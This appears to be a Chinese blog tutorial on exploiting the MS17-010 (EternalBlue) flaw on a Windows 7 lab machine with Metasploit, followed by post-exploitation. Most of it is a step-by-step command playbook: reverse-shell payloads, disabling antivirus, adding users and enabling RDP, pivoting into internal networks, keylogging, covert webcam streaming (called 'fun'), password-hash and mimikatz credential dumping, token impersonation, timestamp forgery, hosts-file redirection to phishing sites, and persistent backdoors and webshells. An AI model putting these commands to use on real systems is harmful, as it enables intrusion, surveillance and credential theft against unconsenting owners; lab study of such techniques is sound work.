MS17-010漏洞复现及后渗透测试

靶机win7,实验目的:复现MS17-010漏洞,进行后渗透测试

Posted by 明心 on 2019-04-29

MS17-010漏洞复现及后渗透测试

一:漏洞原理

1:简介

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码

注:SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无,SMB服务详解:点击查看

2:漏洞原理代码详解

下面两篇文章从实际代码详细分析了漏洞原理

http://blogs.360.cn/post/nsa-eternalblue-smb.html#toc-772

https://blog.csdn.net/qq_27446553/article/details/73480807

二:漏洞复现

1:信息收集

信息收集的两种方法:

使用msf的扫描模块,通过search scanner可以查看大量的扫描模块,这里通过search portscan命令查看端口扫描器列表,输入use 模块名,即可使用该模块

例:这里使用syn扫描模块为例

可以看到这里扫描的结果显示目标记器0-500的端口内开了135,139,445端口。而永恒之蓝利用的就是445端口 smb服务 操作系统溢出漏洞

使用nmap扫描

在msf也可以使用nmap进行扫描进行信息收集,示例如下:

①:扫描版本服务

若扫描出来有可能存在的漏洞的服务,可以search 该服务,查看可以利用的攻击模块

这里从收集信息来看目标主机445端口开放,可以尝试使用ms17-010(永恒之蓝)来攻击

2:尝试攻击

1>:查看漏洞模块------search ms17-010

可以看到有auxiliary(辅助)模块和exploit(攻击)模块

2>:可以先使用辅助扫描模块测试 use auxiliary/scanner/smb/smb_ms17_010

扫描结果显示该主机很容易受到ms17-010的攻击

3>:使用攻击模块进行攻击 use exploit/windows/smb/ms17_010_eternalblue

选择攻击模块时注意选择合适的版本,有些版本使用于win8以上

set payload :设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp

要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload

show options :使用该命令会列出使用当前模块所需呀配置的参数

set RHOST 目标主机地址 :该命令会设置好要攻击的目标主机地址

set LHOST 攻击机地址 :该命令设置攻击机的地址,使目标主机回连至攻击机

set LPORT 回连的端口 :该命令设置目标主机回连至攻击机的端口,默认为4444

run:开始攻击

攻击成功后攻击机和目标主机之间会建立一个连接,得到一个meterpreter会话

上面已经对攻击的信息做了标注,这里进行解释:

①:表示永恒之蓝覆盖成功完成

②:目标主机和攻击机建立了了一个shell连接,会话为session 1

③:得到一个meterpreter会话,尝试获取shell失败

④:在meterpreter会话下输入ps就能获得目标主机的当前进程

注: meterpreter是metasploit框架中的一个扩展模块,是后渗透攻击中的杀手锏,使用meterpreter作为攻击载荷,建立连接后可以对目标系统进行更深入的渗透

到这里漏洞攻击已经成功,接下来要做的就是后渗透攻击,涉及到权限提升,跳板攻击,密码哈希值获取,获取shell以及其他更多信息

三:meterpreter模块之后渗透攻击

后渗透测试是极为关键的,也是测试客户业务是否安全影响最大的一步

以下所有操作均是在meterpreter模块下,获取目标主机的meterpreter shell为所有操作的前提

1:进程迁移

进程迁移的原因与目的:在刚拿到meterpreter shell时,该shell是极其脆弱的,通过进程迁移,把该shell和一个稳定的进程绑定在一起,防止被检测到查杀。

1.1:获取目标主机正在运行的进程

指令:ps

1.2:查看meterpreter shell的进程号

指令:getpid

1.3:进程迁移 (先找一个稳定的已打开的的应用进程

指令:migrate <稳定的进程号>

此时再次使用 ps 指令,会发现原来的meterpreter shell的进程号没了,即该shell已经被绑定在计划中的稳定进程上了

1.4:自动进行进程迁移 (系统会自动寻找合适的进程进行迁移)

指令:run post/windows/manage/migrate

2:系统命令

2.1:查看系统信息

指令:sysinfo

2.2:查看目标主机运行时间

指令:idletime

2.3:查看目标机是否运行在虚拟机上

指令:run post/windows/gather/checkvm

2.4:查看当前主机用户名及其权限

指令:getuid

2.5:关闭杀毒软件

指令:run post/windows/manage/killav

2.6:启动目标主机的3389端口即远程桌面协议

①指令:run post/windows/manage/enable_rdp

②指令:run getgui -e

2.7:将当前会话放到后台

指令:background

2.8:端口转发

指令:portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

指令:run getgui -f 6661 --e

实现效果如图:

2.9:路由route操作

①:查看已拿下的目标主机的内网IP段情况

指令:run get_local_subnets

②:添加路由(先使用background将meterpreter终端放到后台)

指令1:route add <要添加的路由> 例:route add 192.168.111.0

route print(查看已添加的路由)

指令2:run autoroute -s 192.168.159.0/24 #添加到目标环境网络

run autoroute --p#查看添加的路由

当目的路由被成功添加到已攻陷主机的路由表中,就可以借助被攻陷的主机对其他网络进行攻击了。

添加路由后可以进行以被攻陷主机的ip扫描该网段下的其他主机

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24

run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=338

route print:显示当前活跃的路由设置,查看路由是否添加成功

2.10:关闭杀毒软件

命令:run killav

2.11:列举当前目标机有多少用户登录

命令:run post/windows/gather/enum_logged_on_users

2.12:添加用户

①:run post/windows/manage/enable_rdp USERNAME=xxx PASSWORD=xxx

②:run getgui -u example_username -p example_password

2.13:抓取目标机的屏幕截图

命令:

①:先输入load espia 加载插件 再输screengrab,会保存截图在root目录下

②:输入 screenshot 效果同上

截取的图片

2.14:webcam摄像头命令

①:查看目标机是否有摄像头:webcam_list

②:打开目标主机的摄像头拍一张照片:webcam_snap

③:打开目标主机的摄像头抓取视频(即直播)

指令:webcam_stream

该指令会返回一个url,在浏览器打开该地址即可观看

可以试一下这个命令,很好玩

2.15:进入目标机shell,获取目标主机的远程命令行

(如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试)

指令为:shell 结束指令为:exit

3:文件系统命令

常用指令如下

这些命令比较简单,但却很重要,就不截图详细说明了

getwd或者pwd# 查看当前工作目录

ls #显示当前目录下的内容

cd #切换目录

search -f *.txt -d c:\ # 搜索文件 -f 指定文件类型,-d 指定在哪个目录下搜索

cat c:\\test\\testpasswd.txt# 查看文件内容

upload /tmp/hack.txt C:\test # 上传hack.txt文件到目标机C盘test目录下

download c:\test.txt/root # 下载目标主机test.txt文件到本机root目录下

edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件

rm C:\\lltest\\hack.txt

mkdir lltest2 #只能在当前目录下创建文件夹

rmdir lltest2 #只能删除当前目录下文件夹

getlwd 或者 lpwd #操作攻击者主机 查看当前目录

lcd /tmp #操作攻击者主机 切换目录

4:其他常用命令

4.1:session命令

session 命令可以查看已经成功获取的会话

可以使用session -i 连接到指定序号的meterpreter会话已继续利用

4.2:timestomp伪造时间戳

时间戳的解释http://blog.csdn.net/qq_41651465/article/details/80005362

timestomp C:// -h #查看帮助

timestomp -v C://2.txt #查看时间戳

timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

4.3:键盘记录器功能keyscan

命令:

keyscan_start 开启记录目标主机的键盘输入

keyscan_dump 输出截获到的目标键盘输入字符信息

keyscan_stop 停止键盘记录

4.4:系统账号密码获取

①:命令:hashdump

在拿到system权限下,使用该命令,可以查看系统账号密码的hash值,在cmd5在线破解网站可以尝试破解,或者采用后面的Mimikatz模块尝试爆破

②:使用hashdump脚本

命令:run hashdump

4.5:edit命令

调用vi编辑器,对目标主机上的文件修改

例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站

4.6:execute命令

在目标主机上运行某个程序 结合参数-H使用可以隐藏在后台打开程序

例:命令:execute -H -i -f cmd.exe 相当于获取shell,使用shell

4.7:信息收集

run post/windows/gather/enum_applications:获取目标主机上的软件安装信息

run post/windows/gather/dumplinks:目标主机上最近访问过的文档和链接信息

查看目标主机是否为虚拟机

run post/windows/gather/checkvm #是否虚拟机

run post/linux/gather/checkvm #是否虚拟机

4.8:权限提升

先输入getuid查看已获得的权限

尝试使用getsystem提权(倘若失败,只能使用内核漏洞提权)

4.9:漏洞提权:

①:使用命令:getsystem提权

②:使用其他漏洞攻击提权,如ms16-32

注意:在使用其他漏洞为当前会话提权时,攻击参数要设置好session 为当前对话的session,这样就能使用其他漏洞为当前会话提权了

4.10: 抓取密码

常见的在system权限下使用命令 hashdump 可以查看目标主机的用户和其对应的密码,其他抓取密码方法如下:

1:使用Qarks PwDump抓取密码,适用于Windows

2:使用Windows Credentials Editor 抓取密码,适用于Windows

3:使用Mimikatz抓取密码,metasploit集成(只能在管理员权限下使用)

①:load mimikatz (加载该模块)

②:msv 抓取系统的hash值

③:mimikatz_command -f samdump::抓取Hash

④:mimikatz_command -f service::查看服务

输入help mimikatz,可以查看所有mimikatz在metasploit里集成的命令,即可直接使用的命令

例:用msv命令可以抓取系统的Hash值,用wdigest命令可以获取系统账户信息

使用mimikatz_command -f 加载一个不存在的模块,会显示所有mimikatz模块

使用模块时在模块后面跟 :: 设置参数,当后面参数为空时,显示可用参数

4.11:令牌欺骗

:令牌是交互会话中的唯一身份标识符,假冒令牌的目的就是取得的令牌对应的身份的权限

1>:先输入use incognito

2>:再输入list_tokens -u作用:列出所有可用的token

(注:令牌分为:①授权令牌 Delegation Tokens 支持交互式登陆 ②模拟令牌 impersonation Tokens 非交互式令牌)

3>:再输入impersonate_token 上面获取的授权令牌(注:获取的令牌Hostname\Username应将中间的 \ 改为 \\ )

5:后门

5.1:Cymothoa后门

Cymothoa工具可以把ShellCode注入现有进程,伪装成常规程序

用法如下:

1:使用-p参数设置目标进程的pid

2:使用-s参数指定ShellCode的编号,查看所有ShellCode的编号使用命令:cymothoa -s

3:使用-y参数指定Payload服务端口号

完整命令示例:cymothoa -p 100 -s 1 -y 4444

注入成功后可以使用如下命令来连接目标主机的后门,等待返回shell

Nc -nvv 目标主机IP 4444

5.2:weevely

用法如下:

1>:生成后门

命令:weevely generate password/存放路径/try.php

生成一个名为try.php的后门,密码为password

2>:上传后门至web根目录下/var/www/html/(上传命令在之前的文件命令讲过,不再赘述)

3>:连接后门

命令:weevely 目标主机IP/shell所在目录/1.php password(密码)

weevely还可以生成图片后门。同时weevely还有多个模块使用,在连接上后门之后按两次Tab键,可以查看可利用的模块

5.3:meterpreter后门

用法如下:

1>:使用使用msfvenom创建shell,shell的类型可以自己选自,可以为php文件,exe文件等等

注:php文件可以放在web根目录下,方便直接启动

2>: 上传shell到目标服务器(上传命令在之前的文件命令讲过,不再赘述)

3>:在msf下设置监听模块,开始监听,设置方法为:

①:use exploit/multi//handler

②:set payload (payload可以自行选择)

③:访问或运行shell

④:获得目标主机反弹的shell,连接建立

这里以一个exe文件为例,大家可以尝试其他web文件

1>:创建shell

2>:上传shell

3>:设置监听模块,开始监听